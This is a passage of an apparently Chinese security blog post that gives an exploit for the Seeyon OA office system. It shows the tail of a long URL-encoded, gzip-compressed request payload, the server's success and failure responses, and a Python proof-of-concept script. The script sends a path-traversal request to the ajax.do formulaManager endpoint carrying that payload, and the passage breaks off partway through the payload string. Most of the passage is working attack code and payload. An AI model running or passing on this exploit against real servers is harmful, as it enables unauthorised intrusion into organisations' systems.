class="variable">%7</span>E<span class="variable">%0</span>B<span class="variable">%C2</span><span class="variable">%9</span>D<span class="variable">%C3</span><span class="variable">%82</span><span class="variable">%C3</span><span class="variable">%A9</span><span class="variable">%C2</span><span class="variable">%A3</span><span class="variable">%C2</span><span class="variable">%B8</span><span class="variable">%C2</span><span class="variable">%BF</span><span class="variable">%C2</span><span class="variable">%A3</span><span class="variable">%26</span><span class="variable">%C2</span><span class="variable">%99</span>qA<span class="variable">%C2</span><span class="variable">%99</span>wa<span class="variable">%C2</span><span class="variable">%92</span>w<span class="variable">%C2</span><span class="variable">%9</span>A<span class="variable">%C2</span><span class="variable">%A3</span><span class="variable">%00</span><span class="variable">%C2</span><span class="variable">%91</span>we<span class="variable">%3</span>EQ<span class="variable">%C3</span><span class="variable">%AB</span><span class="variable">%C3</span><span class="variable">%95</span><span class="variable">%C3</span><span class="variable">%B8</span><span class="variable">%C2</span><span class="variable">%8</span>F<span class="variable">%1</span>D<span class="variable">%C2</span><span class="variable">%AD</span><span class="variable">%C2</span><span class="variable">%81</span><span class="variable">%3</span>C<span class="variable">%26</span><span class="variable">%C3</span><span class="variable">%90</span><span class="variable">%C3</span><span class="variable">%89</span><span class="variable">%C2</span><span class="variable">%BCA</span><span class="variable">%3</span>FL<span class="variable">%C2</span><span class="variable">%93</span><span class="variable">%C2</span><span class="variable">%B2</span><span class="variable">%C3</span><span class="variable">%B3</span><span class="variable">%C3</span><span class="variable">%B0</span><span class="variable">%13</span><span class="variable">%C2</span><span class="variable">%9</span>E<span class="variable">%C2</span><span class="variable">%B9</span><span class="variable">%C2</span><span class="variable">%BB</span><span class="variable">%C2</span><span class="variable">%92</span><span class="variable">%06</span><span class="variable">%1</span>E<span class="variable">%C3</span><span class="variable">%86</span><span class="variable">%C2</span><span class="variable">%B5</span><span class="variable">%2</span>F<span class="variable">%3</span>B<span class="number">1</span><span class="variable">%C2</span><span class="variable">%B9</span><span class="variable">%C2</span><span class="variable">%81</span>YR<span class="variable">%C2</span><span class="variable">%B9</span><span class="variable">%C3</span><span class="variable">%9</span>C<span class="variable">%C2</span><span class="variable">%98</span><span class="variable">%C2</span><span class="variable">%95</span><span class="variable">%C2</span><span class="variable">%96</span>A<span class="variable">%C3</span><span class="variable">%A6</span><span class="variable">%C2</span><span class="variable">%8</span>A<span class="variable">%C3</span><span class="variable">%82</span>mKj<span class="variable">%19</span><span class="variable">%C2</span><span class="variable">%8</span>B<span class="variable">%C2</span><span class="variable">%9</span>C<span class="variable">%C2</span><span class="variable">%A5</span><span class="variable">%C3</span><span class="variable">%8</span>A<span class="variable">%C2</span><span class="variable">%82</span>Y<span class="variable">%5</span>C<span class="variable">%C2</span><span class="variable">%AC</span><span class="variable">%C2</span><span class="variable">%B9</span><span class="variable">%24</span><span class="variable">%C2</span><span class="variable">%80</span>d<span class="variable">%C2</span><span class="variable">%9</span>E<span class="variable">%03</span><span class="variable">%5</span>E<span class="variable">%C3</span><span class="variable">%8</span>F<span class="variable">%C3</span><span class="variable">%97</span>D<span class="variable">%29</span><span class="variable">%5</span>Cm<span class="variable">%2</span>C<span class="variable">%1</span>F<span class="variable">%07</span><span class="variable">%2</span>F<span class="variable">%C3</span><span class="variable">%85</span>Q<span class="variable">%5</span>CD<span class="variable">%C2</span><span class="variable">%B6</span><span class="variable">%26</span><span class="variable">%C3</span><span class="variable">%B9</span><span class="variable">%C2</span><span class="variable">%90</span><span class="variable">%C3</span><span class="variable">%A8</span><span class="variable">%15</span><span class="variable">%C3</span><span class="variable">%A0p</span><span class="variable">%C3</span><span class="variable">%A1</span><span class="variable">%C2</span><span class="variable">%86</span><span class="variable">%2</span>C<span class="variable">%C3</span><span class="variable">%9</span>Ah<span class="variable">%C3</span><span class="variable">%83</span>J<span class="variable">%0</span>A<span class="variable">%C2</span><span class="variable">%87</span><span class="variable">%C3</span><span class="variable">%8</span>FN<span class="variable">%C2</span><span class="variable">%A4</span><span class="variable">%5</span>C<span class="variable">%C2</span><span class="variable">%B7DM</span><span class="variable">%00</span><span class="variable">%C3</span><span class="variable">%91</span>C<span class="variable">%28</span>b<span class="variable">%C3</span><span class="variable">%8</span>E<span class="variable">%C3</span><span class="variable">%96</span><span class="variable">%C2</span><span class="variable">%84</span><span class="variable">%C2</span><span class="variable">%ABe</span><span class="variable">%40</span><span class="variable">%2</span>C<span class="variable">%C2</span><span class="variable">%898</span><span class="variable">%03</span><span class="variable">%C3</span><span class="variable">%A2</span><span class="variable">%C2</span><span class="variable">%B8</span><span class="variable">%C2</span><span class="variable">%825</span><span class="variable">%3</span>EYp<span class="variable">%C2</span><span class="variable">%96</span><span class="variable">%26</span><span class="variable">%0</span>C<span class="variable">%C3</span><span class="variable">%A8</span><span class="variable">%7</span>B<span class="variable">%C2</span><span class="variable">%BAFq</span><span class="variable">%C3</span><span class="variable">%9</span>A<span class="variable">%C3</span><span class="variable">%B0</span><span class="variable">%C2</span><span class="variable">%A6</span><span class="variable">%C2</span><span class="variable">%9</span>F<span class="variable">%5</span>B<span class="variable">%C3</span><span class="variable">%BCJ</span><span class="variable">%00</span>K<span class="variable">%C2</span><span class="variable">%B5</span><span class="variable">%C3</span><span class="variable">%B8TFqmc</span><span class="variable">%C2</span><span class="variable">%93</span><span class="variable">%C3</span><span class="variable">%8</span>BH*va<span class="variable">%C3</span><span class="variable">%B9</span><span class="variable">%0</span>F<span class="variable">%C3</span><span class="variable">%A0_</span><span class="variable">%C2</span><span class="variable">%BE</span><span class="variable">%C3</span><span class="variable">%99</span><span class="variable">%C2</span><span class="variable">%A2</span><span class="variable">%1</span>E<span class="variable">%C2</span><span class="variable">%BA</span><span class="variable">%C3</span><span class="variable">%A2</span><span class="variable">%C2</span><span class="variable">%A2</span><span class="variable">%C2</span><span class="variable">%B2L5q</span><span class="variable">%C2</span><span class="variable">%B9</span><span class="variable">%C3</span><span class="variable">%A1</span><span class="variable">%C2</span><span class="variable">%A3</span><span class="variable">%24</span>*<span class="variable">%C2</span><span class="variable">%A9e</span>*<span class="number">7</span>iq<span class="variable">%C3</span><span class="variable">%B4m3</span><span class="variable">%60</span>mC<span class="number">8</span><span class="variable">%C2</span><span class="variable">%83</span>j<span class="number">2</span><span class="variable">%C2</span><span class="variable">%A3</span><span class="variable">%3</span>A<span class="number">7</span><span class="variable">%C3</span><span class="variable">%80</span><span class="variable">%C2</span><span class="variable">%96</span><span class="variable">%C2</span><span class="variable">%85</span>e<span class="variable">%C2</span><span class="variable">%A8</span><span class="variable">%18</span>D<span class="variable">%C2</span><span class="variable">%99</span>.<span class="variable">%C3</span><span class="variable">%8</span>F<span class="variable">%5</span>B<span class="variable">%C2</span><span class="variable">%BD</span><span class="variable">%C2</span><span class="variable">%838</span><span class="variable">%0</span>E<span class="variable">%28</span>F<span class="variable">%25</span><span class="variable">%C2</span><span class="variable">%89</span><span class="variable">%C2</span><span class="variable">%9</span>B<span class="variable">%C3</span><span class="variable">%84</span><span class="variable">%C3</span><span class="variable">%A3</span><span class="variable">%C2</span><span class="variable">%95</span><span class="variable">%01</span><span class="variable">%C2</span><span class="variable">%A0</span><span class="variable">%C2</span><span class="variable">%B4L</span><span class="variable">%C3</span><span class="variable">%A9-</span><span class="variable">%3</span>F<span class="variable">%C2</span><span class="variable">%B8Bc</span><span class="variable">%C2</span><span class="variable">%95</span><span class="variable">%3</span>A<span class="variable">%C3</span><span class="variable">%86</span><span class="variable">%C3</span><span class="variable">%86</span><span class="variable">%C3</span><span class="variable">%9</span>Fse<span class="variable">%00</span><span class="variable">%C3</span><span class="variable">%B8</span><span class="variable">%C2</span><span class="variable">%8</span>DoW<span class="variable">%01</span><span class="variable">%C3</span><span class="variable">%B2L</span><span class="variable">%15</span>K<span class="variable">%C2</span><span class="variable">%8</span>B<span class="variable">%0</span>CZ<span class="variable">%08</span><span class="variable">%C2</span><span class="variable">%8</span>Fh<span class="variable">%7</span>C<span class="variable">%2</span>C<span class="number">4</span>W<span class="variable">%C2</span><span class="variable">%B9</span><span class="variable">%C2</span><span class="variable">%B4l</span><span class="variable">%C3</span><span class="variable">%AD</span><span class="variable">%C3</span><span class="variable">%96</span>D<span class="variable">%C3</span><span class="variable">%856</span><span class="variable">%C3</span><span class="variable">%81</span><span class="variable">%C2</span><span class="variable">%B9</span><span class="variable">%7</span>Dl<span class="variable">%C2</span><span class="variable">%B1eQJ7</span><span class="variable">%C3</span><span class="variable">%93</span><span class="variable">%12</span><span class="variable">%C2</span><span class="variable">%ADI</span><span class="variable">%C2</span><span class="variable">%89</span><span class="variable">%5</span>D<span class="variable">%02</span>Ygz<span class="variable">%1</span>E<span class="variable">%C2</span><span class="variable">%9</span>DL<span class="variable">%C3</span><span class="variable">%B6</span><span class="variable">%C2</span><span class="variable">%99</span><span class="variable">%C3</span><span class="variable">%A6</span><span class="variable">%C2</span><span class="variable">%B4</span><span class="variable">%C3</span><span class="variable">%8</span>E<span class="variable">%C3</span><span class="variable">%BB</span><span class="variable">%C3</span><span class="variable">%996</span>j<span class="variable">%C2</span><span class="variable">%BDU</span><span class="variable">%40</span>s<span class="variable">%40</span><span class="variable">%C3</span><span class="variable">%B3w</span><span class="variable">%C3</span><span class="variable">%8</span>F<span class="variable">%5</span>B<span class="variable">%C2</span><span class="variable">%A4</span><span class="variable">%C2</span><span class="variable">%84</span><span class="variable">%C2</span><span class="variable">%80</span><span class="variable">%C3</span><span class="variable">%A0</span><span class="variable">%2</span>B<span class="variable">%14</span>K<span class="variable">%0</span>Cg<span class="variable">%C3</span><span class="variable">%82</span><span class="variable">%01</span>.W<span class="variable">%C2</span><span class="variable">%89</span>K<span class="variable">%C2</span><span class="variable">%80</span><span class="variable">%C3</span><span class="variable">%AF</span><span class="variable">%C3</span><span class="variable">%9</span>CXd<span class="variable">%1</span>F<span class="variable">%C3</span><span class="variable">%B6</span><span class="variable">%03</span><span class="variable">%C3</span><span class="variable">%BB</span><span class="variable">%C2</span><span class="variable">%B0</span><span class="variable">%C2</span><span class="variable">%A9</span><span class="variable">%C2</span><span class="variable">%B6</span><span class="variable">%C2</span><span class="variable">%86</span><span class="variable">%C2</span><span class="variable">%8</span>D<span class="variable">%C2</span><span class="variable">%ADP</span><span class="variable">%3</span>Fo<span class="variable">%0</span>F<span class="variable">%C3</span><span class="variable">%92</span><span class="variable">%C3</span><span class="variable">%80</span>B<span class="variable">%C3</span><span class="variable">%92</span><span class="variable">%08</span>p<span class="variable">%C3</span><span class="variable">%BA</span><span class="variable">%C2</span><span class="variable">%AD</span><span class="variable">%C2</span><span class="variable">%A9</span><span class="variable">%01</span><span class="variable">%12</span><span class="variable">%C2</span><span class="variable">%AE</span><span class="variable">%C3</span><span class="variable">%90</span>T<span class="variable">%0</span>D<span class="variable">%C3</span><span class="variable">%8</span>B<span class="variable">%28</span><span class="variable">%07</span><span class="variable">%C2</span><span class="variable">%B6</span><span class="variable">%C3</span><span class="variable">%A6</span><span class="variable">%23</span><span class="variable">%C2</span><span class="variable">%A8I</span><span class="variable">%C2</span><span class="variable">%A9S</span><span class="variable">%C2</span><span class="variable">%9</span>DG<span class="variable">%7</span>B<span class="variable">%0</span>E_<span class="variable">%C2</span><span class="variable">%9</span>D<span class="number">6</span><span class="variable">%C3</span><span class="variable">%86</span><span class="variable">%C3</span><span class="variable">%B1</span><span class="variable">%1</span>B<span class="variable">%C2</span><span class="variable">%BD</span><span class="variable">%26</span><span class="variable">%10</span><span class="variable">%C3</span><span class="variable">%839</span><span class="variable">%C2</span><span class="variable">%A6uU</span><span class="variable">%03</span><span class="variable">%C2</span><span class="variable">%97</span><span class="variable">%28</span>X<span class="variable">%C2</span><span class="variable">%9</span>E<span class="variable">%C2</span><span class="variable">%AE</span><span class="variable">%26</span><span class="variable">%C2</span><span class="variable">%AA</span><span class="variable">%C2</span><span class="variable">%BEA</span><span class="variable">%C3</span><span class="variable">%B2</span><span class="variable">%21</span><span class="variable">%0</span>B<span class="variable">%C3</span><span class="variable">%974</span><span class="variable">%06</span><span class="variable">%C3</span><span class="variable">%87</span><span class="variable">%C3</span><span class="variable">%9</span>C<span class="variable">%C3</span><span class="variable">%87</span><span class="variable">%1</span>BT<span class="variable">%C3</span><span class="variable">%A6</span><span class="variable">%C2</span><span class="variable">%B6</span><span class="variable">%09</span><span class="variable">%C3</span><span class="variable">%BC</span><span class="variable">%23</span><span class="variable">%C2</span><span class="variable">%A7</span><span class="variable">%C2</span><span class="variable">%87</span>u<span class="variable">%C2</span><span class="variable">%AC</span><span class="variable">%1</span>A<span class="variable">%C2</span><span class="variable">%A7</span><span class="variable">%0</span>BG<span class="variable">%7</span>E<span class="variable">%C2</span><span class="variable">%82</span><span class="variable">%C2</span><span class="variable">%AD</span><span class="variable">%C3</span><span class="variable">%8</span>A<span class="variable">%C2</span><span class="variable">%8</span>F<span class="variable">%3</span>F<span class="variable">%C3</span><span class="variable">%BC</span><span class="variable">%19</span><span class="variable">%C3</span><span class="variable">%99</span><span class="variable">%C2</span><span class="variable">%BF</span><span class="variable">%C3</span><span class="variable">%BE</span><span class="variable">%C2</span><span class="variable">%99</span><span class="variable">%C3</span><span class="variable">%88</span><span class="variable">%C2</span><span class="variable">%95</span><span class="variable">%C2</span><span class="variable">%84</span>d<span class="variable">%C2</span><span class="variable">%AD</span><span class="variable">%C2</span><span class="variable">%91</span>O<span class="variable">%C3</span><span class="variable">%AB</span><span class="variable">%7</span>C<span class="variable">%C2</span><span class="variable">%81</span><span class="variable">%C3</span><span class="variable">%8</span>AO<span class="variable">%C3</span><span class="variable">%96</span>o<span class="variable">%C3</span><span class="variable">%B8</span><span class="variable">%C3</span><span class="variable">%9</span>Ay<span class="variable">%C3</span><span class="variable">%A4</span><span class="variable">%12</span><span class="variable">%C2</span><span class="variable">%9</span>D<span class="variable">%C2</span><span class="variable">%A7</span><span class="variable">%C3</span><span class="variable">%B5</span><span class="variable">%C2</span><span class="variable">%89</span><span class="variable">%C2</span><span class="variable">%A1</span><span class="variable">%18</span><span class="variable">%24</span><span class="variable">%C2</span><span class="variable">%A0j</span><span class="variable">%C3</span><span class="variable">%B4</span><span class="variable">%C3</span><span class="variable">%9</span>A<span class="variable">%C3</span><span class="variable">%BA</span><span class="variable">%C3</span><span class="variable">%94</span>z<span class="variable">%C2</span><span class="variable">%8</span>D_<span class="variable">%C2</span><span class="variable">%BF</span><span class="variable">%C3</span><span class="variable">%96</span>F<span class="variable">%C2</span><span class="variable">%9</span>E<span class="variable">%C2</span><span class="variable">%9</span>E<span class="variable">%C2</span><span class="variable">%A9</span><span class="variable">%1</span>C<span class="variable">%C3</span><span class="variable">%84</span>V<span class="variable">%25</span><span class="variable">%C2</span><span class="variable">%9</span>C<span class="variable">%5</span>D<span class="variable">%C3</span><span class="variable">%96</span><span class="variable">%C2</span><span class="variable">%A6</span><span class="variable">%C3</span><span class="variable">%B9X</span><span class="variable">%C2</span><span class="variable">%A4</span><span class="variable">%C2</span><span class="variable">%B2</span><span class="variable">%28</span><span class="variable">%60</span>XMn<span class="variable">%C3</span><span class="variable">%90</span><span class="variable">%18</span><span class="variable">%C3</span><span class="variable">%A6</span><span class="variable">%C2</span><span class="variable">%AE</span><span class="variable">%C2</span><span class="variable">%81</span>o<span class="variable">%C3</span><span class="variable">%B4m</span><span class="variable">%C2</span><span class="variable">%BA</span><span class="variable">%C3</span><span class="variable">%97</span><span class="variable">%C2</span><span class="variable">%95</span><span class="variable">%C2</span><span class="variable">%85</span><span class="variable">%12</span><span class="variable">%C2</span><span class="variable">%AAs</span><span class="variable">%C2</span><span class="variable">%9</span>A<span class="variable">%C3</span><span class="variable">%97</span><span class="variable">%C3</span><span class="variable">%A2n</span><span class="variable">%C2</span><span class="variable">%977</span><span class="variable">%C3</span><span class="variable">%BD</span><span class="variable">%C3</span><span class="variable">%81</span><span class="variable">%C2</span><span class="variable">%A9x</span><span class="variable">%1</span>F<span class="variable">%C3</span><span class="variable">%A9</span><span class="variable">%C3</span><span class="variable">%84</span><span class="variable">%C2</span><span class="variable">%A6</span><span class="variable">%C2</span><span class="variable">%BD</span>*<span class="variable">%2</span>FW<span class="variable">%18</span><span class="variable">%C2</span><span class="variable">%98</span><span class="variable">%3</span>A<span class="variable">%06</span><span class="variable">%C3</span><span class="variable">%BC</span><span class="variable">%3</span>E<span class="variable">%C2</span><span class="variable">%B79</span><span class="variable">%C2</span><span class="variable">%9</span>D<span class="variable">%3</span>D<span class="variable">%12</span><span class="variable">%C3</span><span class="variable">%BD</span><span class="variable">%C3</span><span class="variable">%AD</span><span class="variable">%C2</span><span class="variable">%8</span>F<span class="variable">%1</span>C<span class="variable">%C3</span><span class="variable">%944</span><span class="variable">%C2</span><span class="variable">%9</span>D<span class="variable">%5</span>E<span class="variable">%C2</span><span class="variable">%97</span><span class="variable">%1</span>Cc<span class="variable">%C3</span><span class="variable">%AAgBc</span><span class="variable">%C2</span><span class="variable">%A0</span><span class="variable">%C3</span><span class="variable">%B1</span><span class="variable">%C3</span><span class="variable">%83</span><span class="variable">%C2</span><span class="variable">%95</span><span class="variable">%1</span>B<span class="variable">%29</span><span class="variable">%C2</span><span class="variable">%ACe</span><span class="variable">%08</span><span class="variable">%21</span><span class="variable">%C2</span><span class="variable">%8</span>D<span class="variable">%C2</span><span class="variable">%8</span>F<span class="variable">%C3</span><span class="variable">%BA</span><span class="variable">%C2</span><span class="variable">%A1</span><span class="variable">%C2</span><span class="variable">%97</span><span class="variable">%C3</span><span class="variable">%90</span>X<span class="variable">%C2</span><span class="variable">%A4</span><span class="variable">%C2</span><span class="variable">%A0</span><span class="variable">%0</span>A<span class="variable">%C2</span><span class="variable">%9</span>A<span class="variable">%C2</span><span class="variable">%9</span>E<span class="variable">%C3</span><span class="variable">%9</span>Es<span class="variable">%C3</span><span class="variable">%A3</span><span class="variable">%1</span>C<span class="variable">%C2</span><span class="variable">%8</span>A<span class="variable">%C3</span><span class="variable">%BA</span><span class="variable">%10</span><span class="variable">%C3</span><span class="variable">%92</span><span class="variable">%C3</span><span class="variable">%9</span>A<span class="variable">%C3</span><span class="variable">%AE</span><span class="variable">%C2</span><span class="variable">%A6</span><span class="variable">%C3</span><span class="variable">%A3</span><span class="variable">%C2</span><span class="variable">%A6</span><span class="variable">%27</span><span class="variable">%01</span><span class="variable">%C2</span><span class="variable">%A7T</span><span class="variable">%C2</span><span class="variable">%8</span>E<span class="number">9</span>a<span class="variable">%5</span>DQgw<span class="variable">%C3</span><span class="variable">%A1</span><span class="variable">%C2</span><span class="variable">%B5h</span><span class="variable">%C3</span><span class="variable">%AB</span><span class="variable">%C2</span><span class="variable">%BA</span>*<span class="variable">%5</span>C<span class="variable">%7</span>E<span class="variable">%C3</span><span class="variable">%BF</span><span class="variable">%C3</span><span class="variable">%B8</span><span class="variable">%3</span>E<span class="variable">%C3</span><span class="variable">%ADL</span><span class="variable">%C2</span><span class="variable">%9</span>AG<span class="variable">%7</span>D<span class="variable">%C2</span><span class="variable">%82</span>R<span class="variable">%C3</span><span class="variable">%90</span><span class="variable">%C2</span><span class="variable">%9</span>F<span class="variable">%C2</span><span class="variable">%BCh</span><span class="variable">%C3</span><span class="variable">%B3o</span><span class="variable">%C3</span><span class="variable">%83</span><span class="variable">%C2</span><span class="variable">%99</span><span class="variable">%07</span>bH<span class="variable">%07</span><span class="variable">%1</span>E<span class="variable">%C3</span><span class="variable">%9</span>E<span class="variable">%C3</span><span class="variable">%AFv</span><span class="variable">%C3</span><span class="variable">%96</span><span class="variable">%3</span>FW<span class="variable">%C3</span><span class="variable">%AA</span><span class="variable">%C3</span><span class="variable">%BDw</span><span class="variable">%C2</span><span class="variable">%AA</span><span class="variable">%5</span>B<span class="variable">%C2</span><span class="variable">%B3</span><span class="variable">%3</span>B<span class="variable">%C3</span><span class="variable">%93</span><span class="variable">%C3</span><span class="variable">%9</span>A<span class="variable">%C2</span><span class="variable">%B6L</span><span class="variable">%C3</span><span class="variable">%AF</span><span class="variable">%0</span>E<span class="variable">%C3</span><span class="variable">%98</span>o<span class="variable">%C3</span><span class="variable">%AFI</span><span class="variable">%7</span>E<span class="variable">%3</span>AQ<span class="variable">%C2</span><span class="variable">%80</span>f<span class="variable">%09</span><span class="variable">%3</span>C<span class="variable">%7</span>C<span class="variable">%C3</span><span class="variable">%A9</span><span class="variable">%1</span>C<span class="variable">%0</span>F<span class="variable">%C2</span><span class="variable">%8</span>B<span class="variable">%C2</span><span class="variable">%AF</span><span class="variable">%C3</span><span class="variable">%8</span>F<span class="variable">%1</span>F<span class="variable">%C2</span><span class="variable">%97</span><span class="variable">%C3</span><span class="variable">%84</span><span class="variable">%C3</span><span class="variable">%87</span><span class="variable">%7</span>D<span class="variable">%C3</span><span class="variable">%93</span>o<span class="variable">%18</span><span class="variable">%1</span>C<span class="variable">%C3</span><span class="variable">%B5</span><span class="variable">%3</span>E<span class="variable">%C2</span><span class="variable">%82</span><span class="variable">%C3</span><span class="variable">%BF</span><span class="variable">%C2</span><span class="variable">%9</span>F.<span class="variable">%C3</span><span class="variable">%80</span>q<span class="variable">%C3</span><span class="variable">%AAQ</span><span class="variable">%C3</span><span class="variable">%87</span><span class="variable">%7</span>E<span class="variable">%7</span>C<span class="variable">%C2</span><span class="variable">%AF</span><span class="variable">%C3</span><span class="variable">%B7</span><span class="variable">%21</span><span class="variable">%25</span><span class="variable">%C2</span><span class="variable">%A0wb</span><span class="variable">%C3</span><span class="variable">%92</span><span class="variable">%C3</span><span class="variable">%8</span>C<span class="variable">%C3</span><span class="variable">%89</span><span class="variable">%10</span><span class="variable">%60</span><span class="variable">%C3</span><span class="variable">%8</span>A<span class="variable">%C2</span><span class="variable">%B2</span><span class="variable">%C3</span><span class="variable">%AC</span><span class="variable">%3</span>D<span class="variable">%C2</span><span class="variable">%BCv</span><span class="variable">%7</span>F<span class="variable">%C3</span><span class="variable">%90</span><span class="variable">%25</span>I<span class="variable">%17</span><span class="variable">%C3</span><span class="variable">%A5k</span><span class="variable">%7</span>Dg<span class="variable">%C2</span><span class="variable">%97</span><span class="variable">%C3</span><span class="variable">%9</span>C<span class="variable">%C3</span><span class="variable">%AB</span><span class="variable">%C3</span><span class="variable">%BE</span><span class="variable">%C3</span><span class="variable">%BD</span><span class="variable">%2</span>FheA<span class="variable">%C3</span><span class="variable">%A4_</span><span class="variable">%05</span><span class="variable">%00</span><span class="variable">%00</span></span></span><br></pre></td></tr></table></figure>
<p>成功会返回</p>
<figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"message"</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"details"</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"code"</span><span class="punctuation">:</span><span class="string">"0436821967"</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure>
<p>失败会返回</p>
<figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"message"</span><span class="punctuation">:</span> <span class="string">"被迫下线，原因：与服务器失去连接"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"code"</span><span class="punctuation">:</span> <span class="string">"-1"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"details"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure></li>
<li><p>漏洞利用POC</p>
<figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">title</span>():</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36m使用格式: python3 poc.py \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">POC_1</span>(<span class="params">target_url</span>):</span><br><span class="line"> vuln_url_2 = target_url + <span class="string">"/seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip"</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'\033[36m[o] 正在请求: {}'</span>.<span class="built_in">format</span>(vuln_url_2))</span><br><span class="line"> headers = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span>,</span><br><span class="line"> <span class="string">"Content-Type"</span>: <span class="string">"application/x-www-form-urlencoded"</span>,</span><br><span class="line"> }</span><br><span class="line"> data = <span class="string">"managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTK%C2%93%C2%A2H%10%3E%C3%AF%C3%BE%0A%C3%82%C2%8Bv%C3%B4%C2%8C%C2%8D+c%C2%BB%13%7Bh_%C2%88%28*%28%C2%AF%C2%8D%3D%40%15Ba%15%C2%B0%C3%B2%10%C3%AC%C2%98%C3%BF%C2%BE%05%C3%98%C3%93%3D%C2%B1%C2%BDu%C2%A9%C3%8C%C2%AC%C3%8C%C2%AF%C3%B2%C3%BD%C3%97k%C3%B7%14_H%C2%8E%C2%9DC%C2%95x%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%A4%C2%96t3%2F%C3%8D%C2%BA%C3%AF%C3%A2y%C2%99%5C%C2%BC4EqT%3Fj%C3%99%05E%3E%C2%938Y%C3%80%C3%BC%C3%89t%C3%BA%C3%BD%C2%A7%C2%AB%C3%A7%3AI%C2%92%3E%C2%A5%C2%9EW%C3%85%C3%91S%C3%A7%C3%BB%C3%AFL%7B%7E%0B%C2%9D%C3%82%C3%A9%C2%A3%C2%B8%C2%BF%C2%A3%26%C2%99qA%C2%99wa%C2%92w%C2%9A%C2%A3%00%C2%91we%3EQ%C3%AB%C3%95%C3%B8%C2%8F%1D%C2%AD%C2%81%3C%26%C3%90%C3%89%C2%BCA%3FL%C2%93%C2%B2%C3%B3%C3%B0%13%C2%9E%C2%B9%C2%BB%C2%92%06%1E%C3%86%C2%B5%2F%3B1%C2%B9%C2%81YR%C2%B9%C3%9C%C2%98%C2%95%C2%96A%C3%A6%C2%8A%C3%82mKj%19%C2%8B%C2%9C%C2%A5%C3%8A%C2%82Y%5C%C2%AC%C2%B9%24%C2%80d%C2%9E%03%5E%C3%8F%C3%97D%29%5Cm%2C%1F%07%2F%C3%85Q%5CD%C2%B6%26%C3%B9%C2%90%C3%A8%15%C3%A0p%C3%A1%C2%86%2C%C3%9Ah%C3%83J%0A%C2%87%C3%8FN%C2%A4%5C%C2%B7DM%00%C3%91C%28b%C3%8E%C3%96%C2%84%C2%ABe%40%2C%C2%898%03%C3%A2%C2%B8%C2%825%3EYp%C2%96%26%0C%C3%A8%7B%C2%BAFq%C3%9A%C3%B0%C2%A6%C2%9F%5B%C3%BCJ%00K%C2%B5%C3%B8TFqmc%C2%93%C3%8BH*va%C3%B9%0F%C3%A0_%C2%BE%C3%99%C2%A2%1E%C2%BA%C3%A2%C2%A2%C2%B2L5q%C2%B9%C3%A1%C2%A3%24*%C2%A9e*7iq%C3%B4m3%60mC8%C2%83j2%C2%A3%3A7%C3%80%C2%96%C2%85e%C2%A8%18D%C2%99.%C3%8F%5B%C2%BD%C2%838%0E%28F%25%C2%89%C2%9B%C3%84%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%95%3A%C3%86%C3%86%C3%9Fse%00%C3%B8%C2%8DoW%01%C3%B2L%15K%C2%8B%0CZ%08%C2%8Fh%7C%2C4W%C2%B9%C2%B4l%C3%AD%C3%96D%C3%856%C3%81%C2%B9%7Dl%C2%B1eQJ7%C3%93%12%C2%ADI%C2%89%5D%02Ygz%1E%C2%9DL%C3%B6%C2%99%C3%A6